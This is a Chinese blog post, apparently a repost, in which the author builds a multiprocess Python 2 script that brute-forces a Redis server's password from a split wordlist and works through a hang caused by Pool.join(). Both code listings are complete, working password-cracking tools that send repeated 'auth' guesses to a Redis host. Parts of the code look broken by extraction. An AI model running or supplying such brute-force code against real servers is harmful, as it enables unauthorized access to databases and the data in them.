redis密码破解(multiprocessing的Pool多进程模式)-join方法小坑

       之前使用multiprocessing的分布式进程模式写了个redis的破解程序,性能不是很理想,相对于单进程模式性能反而有下降.于是想利用multiprocessing的多进程模式进行破解,初始代码如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 19-1-3 下午7:32
# @Site    : 
# @File    : redisCrackMultiFile.py
# @Software: PyCharm
import subprocess
from multiprocessing import Pool
import sys,os
import glob
import socket

redisHost = "192.168.36.3"
redisPort = 6379
redisCrackFile = "/home/liping/py/redisCrack/redisPass.txt"
worker = 8

def splitFile(w,passFile): #调用split命令按照Pool的worker数按行分割密码文本,返回分割后的文件列表
    suffix=os.path.splitext(passFile)[0]+"_"+"split"+"_"
    cmd="split -d -a 2 -n l/%d %s %s" %(w,passFile,suffix)
    try:
        subprocess.check_call(cmd,shell=True)
        # fileList = os.listdir(os.path.dirname(os.path.abspath(passFile)))
        globSuffix=suffix+"*"
        fileList=glob.glob(globSuffix)
        return fileList
    except subprocess.CalledProcessError,e:
        print "failed to split the file,quit:",str(e)
        sys.exit(2)

def redisCrack(host,port,passfile): #每个worker使用一个分割密码文本调用socket模块破解
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    with open(passfile, "r") as f:
        for i in f:
            s.send("auth %s 
" % (i))
            authResult = s.recv(1024)
            if '+OK' in authResult:
                s.close()
                return ("cracked",i)

def crackCallback(msg): #multiprocessing的回调函数,破解后调用sys.exit()方法退出程序.
    if msg != None:
        print "redis password cracked,the pass is: %s" %msg[1]
        sys.exit(0)
    else:
        print "no password in this file"   #未破解返回不在此分割密码文本提示

def main(): #主函数
    fileList=splitFile(worker,redisCrackFile)
    p=Pool(worker)
    p.daemon=True
    for l in fileList:
        p.apply_async(redisCrack,args=(redisHost,redisPort,l,),callback=crackCallback)
    p.close()
    p.join()

if __name__=="__main__":
    main()

代码总体思路是将密码文本按照multiprocessing的worker数进行分割,然后每个worker使用一个分割文本进行破解.

测试如下:

1.生成100万随机密码,将正确密码写入最后一行.

2.启动程序,redis服务端有8个tcp连接,和worker数对应.程序生成8个子进程.

3.发现一个worker破解出密码后,程序仍无法退出

后经测试,发现夯住为multiprocessing的join方法造成的.join方法为等待子进程结束,为阻塞方法.在本次程序中,一个子进程完成破解,调用了sys.exit()方法退出了,但是对于主进程程序却仍然夯住在那等待.解决思路有如下2种:

   1.回调函数不调用sys.exit()方法,让每个子进程运行完成.但是此种方法明显不适用此场景,一个子进程破解出密码后,其他子进程应该无必要在进行密码猜测行为了.同时测试发现,即使去掉sys.exit()调用,在程序运行,kill掉一个子进程,join方法也会造成主程序一直夯住在那里.

2.join方法增加timeout参数.但是timeout时间不好把握,太短子进程可能还没跑完密码文本就退出,太长也是造成程序空运行.

后google搜索得知,要想在子进程中终止主进程,需要调用os._exit()方法.os._exit()将python解释器直接退出,后面的语句都不会执行.一般情况下用sys.exit()就行;os._exit()可以在os.fork()产生的子进程里使用.最终代码如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 19-1-3 下午7:32
# @Site    : 
# @File    : redisCrackMultiFile.py
# @Software: PyCharm
import subprocess
from multiprocessing import Pool
import sys,os
import glob
import socket

redisHost = "192.168.36.3"
redisPort = 6379
redisCrackFile = "/home/liping/py/redisCrack/redisPass.txt"
worker = 8

def splitFile(w,passFile):
    suffix=os.path.splitext(passFile)[0]+"_"+"split"+"_"
    cmd="split -d -a 2 -n l/%d %s %s" %(w,passFile,suffix)
    try:
        subprocess.check_call(cmd,shell=True)
        # fileList = os.listdir(os.path.dirname(os.path.abspath(passFile)))
        globSuffix=suffix+"*"
        fileList=glob.glob(globSuffix)
        return fileList
    except subprocess.CalledProcessError,e:
        print "failed to split the file,quit:",str(e)
        sys.exit(2)

def redisCrack(host,port,passfile):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    with open(passfile, "r") as f:
        for i in f:
            s.send("auth %s 
" % (i))
            authResult = s.recv(1024)
            if '+OK' in authResult:
                s.close()
                return ("cracked",i)

def crackCallback(msg):
    if msg != None:
        print "redis password cracked,the pass is: %s" %msg[1]
        os._exit(0)  #将sys.exit()方法替换为os._exit()方法
    else:
        print "no password in this file"
def main():
    fileList=splitFile(worker,redisCrackFile)
    p=Pool(worker)
    p.daemon=True
    for l in fileList:
        p.apply_async(redisCrack,args=(redisHost,redisPort,l,),callback=crackCallback)
    p.close()
    p.join()

if __name__=="__main__":
    main()

同一密码文本与单进程测试速度如下:

遗留问题:

在破解出密码的情况下,虽然调用os._exit()方法退出了主程序,但是没有运行完的子程序会抛出IOError异常

原文地址:https://www.cnblogs.com/360linux/p/13062068.html